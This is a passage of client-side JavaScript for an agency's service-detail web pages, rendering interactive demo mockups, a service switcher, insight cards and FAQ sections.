24%;"></i> <i style="--x: 68%; --y: 38%;"></i> <i style="--x: 44%; --y: 74%;"></i> </section> <aside> ${panels.slice(0, 4).map((item) => `<p>${escapeHtml(item)}</p>`).join("")} </aside> </div> `; case "performance-lab": return ` <div class="demo-product-performance"> <div><span>Score</span><strong>${escapeHtml(profile.metricValue || "96")}</strong></div> <section> ${panels.slice(0, 4).map((item, index) => `<p style="--bar: ${88 - (index * 9)}%;"><span>${escapeHtml(item)}</span><i></i></p>`).join("")} </section> </div> `; case "content-calendar": return ` <div class="demo-product-content"> ${["Week 1", "Week 2", "Week 3", "Week 4"].map((week, index) => ` <article> <span>${week}</span> <strong>${escapeHtml(panels[index % panels.length])}</strong> <small>${escapeHtml(outcomes[index % outcomes.length])}</small> </article> `).join("")} </div> `; case "monthly-roadmap": return ` <div class="demo-product-roadmap"> ${panels.slice(0, 4).map((item, index) => ` <article> <span>${index === 0 ? "Review" : index === 1 ? "Fix" : index === 2 ? "Improve" : "Measure"}</span> <strong>${escapeHtml(item)}</strong> </article> `).join("")} </div> `; case "site-command": default: return ` <div class="demo-product-ai-blueprint is-dark"> <div class="demo-product-modebar" role="group" aria-label="Preview mode"> <button type="button" class="is-active" data-demo-product-theme="dark">Dark</button> <button type="button" data-demo-product-theme="light">Light</button> </div> <section class="demo-ai-dashboard"> <div class="demo-ai-main"> <span>${escapeHtml(service.category)} intelligence layer</span> <strong>${escapeHtml(service.title)}</strong> <p>${escapeHtml(outcomes[0])}, ${escapeHtml(outcomes[1]).toLowerCase()}, and a guided path to the next step.</p> <div> <button type="button" data-demo-ai-pulse>Start Audit</button> <em data-demo-ai-status>Assistant listening</em> </div> </div> <aside class="demo-ai-widget"> <span>AI Blueprint</span> <p class="is-bot">I found a stronger lead path near ${escapeHtml(panels[0].toLowerCase())}.</p> <p class="is-user">Can we qualify visitors before the form?</p> <p class="is-bot">Yes. Add ${escapeHtml(panels[1].toLowerCase())} and route high-intent questions.</p> </aside> <div class="demo-ai-chart" aria-label="AI-ready signal chart"> ${["72%", "88%", "64%", "94%"].map((height, index) => `<i style="--h: ${height};"><span>${escapeHtml(panels[index % panels.length])}</span></i>`).join("")} </div> <div class="demo-ai-signals"> ${stats.slice(0, 3).map((item) => ` <article> <strong>${escapeHtml(item.value)}</strong> <span>${escapeHtml(item.label)}</span> </article> `).join("")} </div> </section> </div> `; } } function renderProductFlowLayout(title, panels, outcomes) { return ` <div class="demo-product-flow"> <strong>${escapeHtml(title)}</strong> ${panels.slice(0, 4).map((item, index) => ` <article> <span>${String(index + 1).padStart(2, "0")}</span> <div> <strong>${escapeHtml(item)}</strong> <small>${escapeHtml(outcomes[index % outcomes.length])}</small> </div> </article> `).join("")} </div> `; } function renderProductDashboardLayout(panels, outcomes, stats, mode) { return ` <div class="demo-product-dashboard demo-product-dashboard-${escapeHtml(mode)}"> <section> ${stats.slice(0, 3).map((item) => `<article><strong>${escapeHtml(item.value)}</strong><span>${escapeHtml(item.label)}</span></article>`).join("")} </section> <div> ${panels.slice(0, 5).map((item, index) => `<p style="--bar: ${46 + (index * 11)}%;"><span>${escapeHtml(item)}</span><i></i></p>`).join("")} </div> <aside>${escapeHtml(outcomes[0])}</aside> </div> `; } function renderProductTableLayout(panels, outcomes, mode) { return ` <div class="demo-product-table demo-product-table-${escapeHtml(mode)}"> <div><span>Name</span><span>Status</span><span>Owner</span></div> ${panels.slice(0, 4).map((item, index) => ` <p> <span>${escapeHtml(item)}</span> <strong>${index % 2 === 0 ? "Clean" : "Review"}</strong> <em>${escapeHtml(outcomes[index % outcomes.length])}</em> </p> `).join("")} </div> `; } function renderWebsiteDemo(service, focus, outcomes) { const image = service.image || {}; const primaryOutcome = outcomes[0] || "Sharper visitor decisions"; const secondaryOutcome = outcomes[1] || "Cleaner lead collection"; const tertiaryOutcome = outcomes[2] || "More confident inquiries"; return ` <div class="demo-site-shell"> <div class="demo-browser-bar" aria-hidden="true"> <span></span><span></span><span></span> <strong>brightpath.studio/${escapeHtml(service.slug || "service")}</strong> </div> <div class="demo-site-top"> <strong>BrightPath Studio</strong> <nav aria-label="Demo website navigation"> <span>Services</span> <span>Results</span> <span>Contact</span> </nav> <a href="#contact" data-contact-open>Book a call</a> </div> <div class="demo-site-hero"> <div class="demo-site-copy"> <span>${escapeHtml(service.category)} Website</span> <h4>${escapeHtml(service.label)} built to win better inquiries</h4> <p>${escapeHtml(service.summary)}</p> <div class="demo-site-actions"> <a href="#contact" data-contact-open>Start Project</a> <span>${escapeHtml(primaryOutcome)}</span> </div> </div> <figure class="demo-site-visual"> <img src="${escapeHtml(image.src || "assets/hero-specialist.png")}" alt="${escapeHtml(service.label)} demo website visual" loading="lazy" style="object-position: ${escapeHtml(image.position || "center")}"> <figcaption> <strong>Lead score</strong> <span>92%</span> </figcaption> <div class="demo-site-chat-card"> <strong>AI guide</strong> <span>Visitor asked about ${escapeHtml(focus[0].toLowerCase())}</span> </div> </figure> </div> <div class="demo-site-proof" aria-label="Demo website proof points"> <span>${escapeHtml(primaryOutcome)}</span> <span>${escapeHtml(secondaryOutcome)}</span> <span>${escapeHtml(tertiaryOutcome)}</span> </div> <div class="demo-site-lower"> <div class="demo-site-services"> ${focus.slice(0, 3).map((item, index) => ` <article> <span>${String(index + 1).padStart(2, "0")}</span> <strong>${escapeHtml(item)}</strong> <p>${escapeHtml(outcomes[index % outcomes.length] || primaryOutcome)}</p> </article> `).join("")} </div> <div class="demo-site-lead"> <span>Ready visitor</span> <strong>Request a website plan</strong> <p>Name, email, service interest, and budget range are captured cleanly.</p> <em data-demo-lead-status>High-intent lead</em> <button type="button" data-demo-submit>Send request</button> </div> </div> </div> `; } function renderAssistantDemo(service, focus, outcomes) { const firstResponse = `I can help with ${focus[0].toLowerCase()} and prepare ${outcomes[0].toLowerCase()} for your team.`; const secondResponse = `Great. I will capture ${focus[1].toLowerCase()} and recommend the clearest next step.`; return ` <div class="demo-chat-shell"> <div class="demo-chat-header"> <span></span> <div> <strong>${escapeHtml(service.label)}</strong> <small>online now</small> </div> <em>handoff ready</em> </div> <div class="demo-chat-body" data-demo-chat-stream aria-live="polite"> <p class="is-bot">Hi, I can help with ${escapeHtml(focus[0].toLowerCase())}. What are you trying to do?</p> <p class="is-user">I need the right service and next step.</p> <p class="is-bot">${escapeHtml(secondResponse)}</p> </div> <div class="demo-chat-side"> <div> <span>Lead fit</span> <strong>Qualified</strong> </div> <div> <span>Captured</span> <strong>${escapeHtml(outcomes[0])}</strong> </div> </div> <div class="demo-chat-actions"> ${focus.slice(0, 3).map((item, index) => ` <button type="button" data-demo-prompt="${escapeHtml(item)}" data-demo-response="${escapeHtml(index === 0 ? firstResponse : secondResponse)}">${escapeHtml(item)}</button> `).join("")} </div> <div class="demo-chat-input"> <span>Ask about pricing, fit, or booking...</span> <button type="button" data-demo-prompt="Book a consultation" data-demo-response="I can send the request to the SignalHGAI team with your goals, timeline, and service interest.">Send</button> </div> </div> `; } function renderAutomationDemo(service, focus, outcomes) { return ` <div class="demo-flow-shell"> <div class="demo-flow-head"> <div> <span>Workflow command center</span> <strong>${escapeHtml(service.label)}</strong> </div> <button type="button" data-demo-run><span data-demo-run-label>Run workflow</span></button> </div> ${focus.slice(0, 4).map((item, index) => ` <div class="demo-flow-step"> <span>${String(index + 1).padStart(2, "0")}</span> <div> <strong>${escapeHtml(item)}</strong> <small>${escapeHtml(outcomes[index % outcomes.length])}</small> </div> </div> `).join("")} <div class="demo-flow-log" data-demo-flow-log> <p><strong>09:41</strong><span>New request received</span></p> <p><strong>09:42</strong><span>Team alert and CRM note prepared</span></p> </div> <div class="demo-flow-summary"> <strong>${escapeHtml(service.label)}</strong> <span>${escapeHtml(outcomes[0])}</span> </div> </div> `; } function renderDashboardDemo(service, focus, outcomes, tools) { return ` <div class="demo-dashboard-shell"> <div class="demo-dashboard-head"> <div> <small>${escapeHtml(tools[0])}</small> <strong>${escapeHtml(service.label)}</strong> </div> <div class="demo-dashboard-tabs"> <button type="button" class="is-active" data-demo-filter="Pipeline">Pipeline</button> <button type="button" data-demo-filter="Quality">Quality</button> <button type="button" data-demo-filter="Follow-up">Follow-up</button> </div> </div> <div class="demo-metric-grid"> ${outcomes.slice(0, 3).map((outcome, index) => ` <div> <strong>${index === 0 ? "84%" : index === 1 ? "12" : "4.8"}</strong> <span>${escapeHtml(outcome)}</span> </div> `).join("")} </div> <div class="demo-dashboard-chart" aria-label="Demo dashboard chart"> ${focus.slice(0, 5).map((item, index) => ` <div style="--bar: ${48 + (index * 11)}%"> <span>${escapeHtml(item)}</span> <i></i> </div> `).join("")} </div> <div class="demo-dashboard-list"> ${focus.slice(0, 4).map((item, index) => ` <p><span>${escapeHtml(item)}</span><strong>${index === 0 ? "High" : index === 1 ? "Active" : "Ready"}</strong></p> `).join("")} </div> <p class="demo-dashboard-note" data-demo-dashboard-note>Pipeline view is showing active work and the next owner for each signal.</p> </div> `; } function renderGrowthDemo(service, focus, outcomes) { return ` <div class="demo-growth-shell"> <div class="demo-growth-score"> <span>Signal score</span> <strong>92</strong> <small>${escapeHtml(outcomes[0])}</small> </div> <div class="demo-growth-board"> ${focus.slice(0, 4).map((item, index) => ` <button type="button" class="${index === 0 ? "is-active" : ""}" data-demo-priority> <span>${index === 0 ? "Now" : index === 1 ? "Next" : "Soon"}</span> <strong>${escapeHtml(item)}</strong> <small>${escapeHtml(outcomes[index % outcomes.length])}</small> </button> `).join("")} </div> <div class="demo-growth-checklist"> <p><span></span> Review page signal</p> <p><span></span> Update priority section</p> <p><span></span> Measure next response</p> </div> </div> `; } function loadService(slug, catalog, servicesBySlug, options = {}) { const service = servicesBySlug[slug] || catalog[0]; const serviceIndex = Math.max(0, catalog.findIndex((item) => item.slug === service.slug)); const main = document.querySelector(".service-main"); main?.classList.add("is-changing-service"); hydrateServicePage(service, serviceIndex, catalog); if (options.updateUrl !== false) { const nextUrl = new URL(window.location.href); nextUrl.searchParams.set("service", service.slug); nextUrl.hash = ""; window.history.pushState({ serviceSlug: service.slug }, "", nextUrl.href); } if (options.scroll !== false) { window.scrollTo({ top: 0, behavior: "smooth" }); } window.setTimeout(() => { main?.classList.remove("is-changing-service"); }, 260); return service; } function setupServiceSwitcher(catalog, servicesBySlug) { const handleServiceClick = (event) => { const target = event.target?.closest ? event.target : event.target?.parentElement; const link = target?.closest?.('a[href*="service="]'); if (!link || event.defaultPrevented) return; if (event.metaKey || event.ctrlKey || event.shiftKey || event.altKey) return; if (link.target && link.target !== "_self") return; let url; try { url = new URL(link.getAttribute("href"), window.location.href); } catch (error) { return; } if (!isServiceDetailUrl(url)) return; const slug = url.searchParams.get("service"); if (!slug || !servicesBySlug[slug]) return; event.preventDefault(); event.stopPropagation(); event.stopImmediatePropagation?.(); closeServiceNavigation(); if (link.closest?.(".main-nav, .mega-menu")) { if (slug === getServiceSlug()) { loadService(slug, catalog, servicesBySlug, { updateUrl: false, scroll: true }); return; } if (typeof window.location.assign === "function") { window.location.assign(url.href); } else { window.location.href = url.href; } return; } try { loadService(slug, catalog, servicesBySlug); } catch (error) { window.location.href = url.href; } }; document.querySelectorAll('a[href*="service="]').forEach((link) => { link.addEventListener("click", handleServiceClick, true); }); document.addEventListener("click", handleServiceClick, true); window.addEventListener("popstate", () => { loadService(getServiceSlug(), catalog, servicesBySlug, { updateUrl: false, scroll: true }); closeServiceNavigation(); }); } function isServiceDetailUrl(url) { if (url.origin !== window.location.origin) return false; if (document.body.classList.contains("service-detail-page") && url.searchParams.has("service")) return true; const path = url.pathname.replace(/\/+$/, ""); return /\/service(?:\.html)?$/i.test(path); } function closeServiceNavigation() { document.querySelectorAll(".has-dropdown").forEach((item) => { const button = item.querySelector(".nav-button"); const menu = item.querySelector(".mega-menu"); item.classList.remove("is-open"); button?.setAttribute("aria-expanded", "false"); menu?.setAttribute("aria-hidden", "true"); }); const header = document.getElementById("site-header"); const toggle = document.getElementById("mobile-toggle"); header?.classList.remove("nav-open"); document.body.classList.remove("nav-dropdown-open", "nav-menu-open"); toggle?.setAttribute("aria-expanded", "false"); toggle?.setAttribute("aria-label", "Open navigation"); } function setupServiceDemoInteractions() { const demo = document.querySelector("[data-service-demo]"); if (!demo) return; demo.addEventListener("click", (event) => { const prompt = event.target.closest("[data-demo-prompt]"); if (prompt) { addDemoChatTurn(prompt); return; } const submit = event.target.closest("[data-demo-submit]"); if (submit) { markDemoLeadSubmitted(submit); return; } const run = event.target.closest("[data-demo-run]"); if (run) { runDemoWorkflow(run); return; } const filter = event.target.closest("[data-demo-filter]"); if (filter) { setDemoDashboardFilter(filter); return; } const priority = event.target.closest("[data-demo-priority]"); if (priority) { priority.parentElement?.querySelectorAll("[data-demo-priority]").forEach((item) => { item.classList.toggle("is-active", item === priority); }); return; } const productTheme = event.target.closest("[data-demo-product-theme]"); if (productTheme) { setProductDemoTheme(productTheme); return; } const aiPulse = event.target.closest("[data-demo-ai-pulse]"); if (aiPulse) { runAiBlueprintPulse(aiPulse); return; } const landingCase = event.target.closest("[data-demo-landing-case]"); if (landingCase) { openLandingCasePreview(landingCase); return; } const priceToggle = event.target.closest("[data-demo-price-toggle]"); if (priceToggle) { setOfferPricingMode(priceToggle); return; } const viewport = event.target.closest("[data-demo-viewport]"); if (viewport) { setResponsiveViewport(viewport); return; } const productAction = event.target.closest("[data-demo-product-action]"); if (productAction) { runProductDemoAction(productAction); } }); demo.addEventListener("input", (event) => { const range = event.target.closest("[data-demo-product-range]"); if (range) { updateSeoComparison(range); return; } const offerSlider = event.target.closest("[data-demo-offer-slider]"); if (offerSlider) { updateOfferOutline(offerSlider); } }); } function addDemoChatTurn(button) { const shell = button.closest(".demo-chat-shell"); const stream = shell?.querySelector("[data-demo-chat-stream]"); if (!stream) return; const user = document.createElement("p"); user.className = "is-user"; user.textContent = button.dataset.demoPrompt || button.textContent || "Tell me more"; const bot = document.createElement("p"); bot.className = "is-bot"; bot.textContent = button.dataset.demoResponse || "I can collect the details and prepare the next step for your team."; stream.append(user, bot); while (stream.children.length > 7) { stream.firstElementChild?.remove(); } stream.scrollTop = stream.scrollHeight; } function markDemoLeadSubmitted(button) { const panel = button.closest(".demo-site-lead"); const status = panel?.querySelector("[data-demo-lead-status]"); panel?.classList.add("is-sent"); if (status) status.textContent = "Request captured"; button.textContent = "Captured"; } function runDemoWorkflow(button) { const shell = button.closest(".demo-flow-shell"); const label = button.querySelector("[data-demo-run-label]"); const log = shell?.querySelector("[data-demo-flow-log]"); if (!shell || shell.classList.contains("is-running")) return; shell.classList.add("is-running"); if (label) label.textContent = "Running..."; window.setTimeout(() => { const entry = document.createElement("p"); entry.innerHTML = "<strong>09:43</strong><span>Workflow complete and owner assigned</span>"; log?.append(entry); shell.classList.remove("is-running"); shell.classList.add("is-complete"); if (label) label.textContent = "Run again"; }, 950); } function setDemoDashboardFilter(button) { const shell = button.closest(".demo-dashboard-shell"); const note = shell?.querySelector("[data-demo-dashboard-note]"); shell?.querySelectorAll("[data-demo-filter]").forEach((item) => { item.classList.toggle("is-active", item === button); }); if (note) { note.textContent = `${button.dataset.demoFilter} view is active with updated signals for the team.`; } } function setProductDemoTheme(button) { const panel = button.closest(".demo-product-ai-blueprint"); const mode = button.dataset.demoProductTheme || "dark"; if (!panel) return; panel.classList.toggle("is-light", mode === "light"); panel.classList.toggle("is-dark", mode !== "light"); panel.querySelectorAll("[data-demo-product-theme]").forEach((item) => { item.classList.toggle("is-active", item === button); }); } function runAiBlueprintPulse(button) { const panel = button.closest(".demo-product-ai-blueprint"); const status = panel?.querySelector("[data-demo-ai-status]"); if (!panel) return; panel.classList.add("is-pulsing"); if (status) status.textContent = "Audit running"; window.setTimeout(() => { panel.classList.remove("is-pulsing"); panel.classList.add("is-audited"); if (status) status.textContent = "Blueprint improved"; button.textContent = "Audit Complete"; }, 700); } function openLandingCasePreview(button) { const panel = button.closest(".demo-product-landing-hero"); const note = panel?.querySelector("[data-demo-landing-note]"); if (!panel) return; panel.classList.add("is-case-open"); if (note) note.textContent = "Live case study selected"; button.textContent = "Case Study Open"; } function updateSeoComparison(input) { const panel = input.closest(".demo-product-seo-lab"); const score = panel?.querySelector("[data-demo-seo-score]"); const value = Math.max(35, Math.min(88, Number(input.value) || 72)); if (!panel) return; panel.style.setProperty("--split", `${value}%`); if (score) score.textContent = String(Math.min(99, 76 + Math.round((value - 35) * 0.44))); } function setOfferPricingMode(button) { const panel = button.closest(".demo-product-offer-pricing"); const mode = button.dataset.demoPriceToggle || "launch"; if (!panel) return; panel.querySelectorAll("[data-demo-price-toggle]").forEach((item) => { item.classList.toggle("is-active", item === button); }); panel.querySelectorAll("[data-demo-price]").forEach((item) => { item.textContent = item.getAttribute(`data-${mode}`) || item.textContent; }); } function updateOfferOutline(input) { const panel = input.closest(".demo-product-offer-pricing"); const output = panel?.querySelector("[data-demo-offer-output]"); if (!output) return; output.textContent = `${input.value}-section outline`; } function setResponsiveViewport(button) { const panel = button.closest(".demo-product-responsive-lab"); const mode = button.dataset.demoViewport || "desktop"; const note = panel?.querySelector("[data-demo-viewport-note]"); const labels = { desktop: "Desktop grid active", tablet: "Tablet stack active", mobile: "Mobile CTA active" }; if (!panel) return; panel.classList.remove("is-desktop", "is-tablet", "is-mobile"); panel.classList.add(`is-${mode}`); panel.querySelectorAll("[data-demo-viewport]").forEach((item) => { item.classList.toggle("is-active", item === button); }); if (note) note.textContent = labels[mode] || labels.desktop; } function runProductDemoAction(button) { const shell = button.closest(".demo-product-shell"); const status = shell?.querySelector("[data-demo-product-status]"); if (!shell) return; shell.classList.add("is-actioned"); if (status) status.textContent = "Preview active"; button.textContent = button.dataset.demoActiveLabel || "Active"; } function renderInsights(service, serviceIndex, catalog) { const list = document.querySelector("[data-service-insights]"); if (!list) return; const cards = getServiceInsightCards(service, serviceIndex, catalog); list.innerHTML = cards.map((item, index) => ` <article class="service-insight-card"> <img src="${escapeHtml(item.image.src)}" alt="${escapeHtml(item.title)} visual direction" loading="lazy" style="object-position: ${escapeHtml(item.image.position || "center")}"> <div> <span>${escapeHtml(item.eyebrow || `Direction ${index + 1}`)}</span> <h3>${escapeHtml(item.title)}</h3> <p>${escapeHtml(item.text)}</p> </div> </article> `).join(""); } function getServiceInsightCards(service, serviceIndex, catalog) { const defaults = buildDefaultServiceInsightCards(service, serviceIndex, catalog); if (Array.isArray(service.insightCards) && service.insightCards.length) { return defaults.map((fallback, index) => ( normalizeInsightCard(service.insightCards[index] || fallback, index, service) )); } return defaults; } function buildDefaultServiceInsightCards(service, serviceIndex, catalog) { const count = Math.max(catalog.length, 1); return [0, 7, 14].map((offset, index) => { const related = catalog[(serviceIndex + offset) % count] || service; return normalizeInsightCard({ eyebrow: `Direction ${index + 1}`, title: index === 0 ? service.label : related.label, text: index === 0 ? service.summary : related.summary, image: related.image }, index, service); }); } function normalizeInsightCard(card, index, service) { const image = typeof card?.image === "string" ? { src: card.image, position: "center" } : card?.image || service.image || {}; return { eyebrow: String(card?.eyebrow || `Direction ${index + 1}`), title: String(card?.title || service.label || "Service Direction"), text: String(card?.text || card?.summary || service.summary || ""), image: { src: String(image.src || service.image?.src || "assets/hero-specialist.png"), position: String(image.position || service.image?.position || "center") } }; } function renderFaqs(service) { const list = document.querySelector("[data-service-faqs]"); if (!list) return; const faqs = [ [`How long does ${service.label.toLowerCase()} take?`, "Most focused builds can start with a one to three week sprint, depending on content, integrations, and review speed."], ["Can this connect to our current tools?", `Yes. We plan ${service.label.toLowerCase()} around your current website, forms, CRM, email, and reporting tools whenever possible.`], ["Do we need perfect content before starting?", "No. We can help organize rough notes, service details, FAQs, and examples into clear page content."], ["What happens after launch?", "We can hand off the system, monitor early signals, or continue with monthly optimization and support."] ]; list.innerHTML = faqs.map(([question, answer]) => ` <details class="service-faq"> <summary>${escapeHtml(question)}</summary> <p>${escapeHtml(answer)}</p> </details> `).join(""); } function buildCaseCopy(service) { return `For a typical ${service.category.toLowerCase()} project, we start with the visitor journey, then shape ${service.focus[0].toLowerCase()} and ${service.focus[1].toLowerCase()} into a launch-ready experience. The goal is simple: ${service.outcomes[0].toLowerCase()} and ${service.outcomes[1].toLowerCase()}.`; } function markCurrentService(slug) { document.querySelectorAll('a[href*="service="]').forEach((link) => { let isCurrent = false; try { const url = new URL(link.getAttribute("href"), window.location.href); isCurrent = url.searchParams.get("service") === slug; } catch (error) { isCurrent = false; } link.classList.toggle("is-current-service", isCurrent); if (isCurrent) { link.setAttribute("aria-current", "page"); } else { link.removeAttribute("aria-current"); } }); } function setActiveServiceAnchor(href) { document.querySelectorAll("[data-service-anchor]").forEach((link) => { link.classList.toggle("is-active", link.getAttribute("href") === href); }); } function setupServiceAnchors() { const links = Array.from(document.querySelectorAll("[data-service-anchor]")); const sections = links .map((link) => document.querySelector(link.getAttribute("href"))) .filter(Boolean); if (links.length === 0 || sections.length === 0 || !("IntersectionObserver" in window)) return; const observer = new IntersectionObserver((entries) => { const visible = entries .filter((entry) => entry.isIntersecting) .sort((a, b) => b.intersectionRatio - a.intersectionRatio)[0]; if (!visible) return; links.forEach((link) => { link.classList.toggle("is-active", link.getAttribute("href") === `#${visible.target.id}`); }); }, { rootMargin: "-22% 0px -58% 0px", threshold: [0.08, 0.2, 0.4] }); sections.forEach((section) => observer.observe(section)); }
Close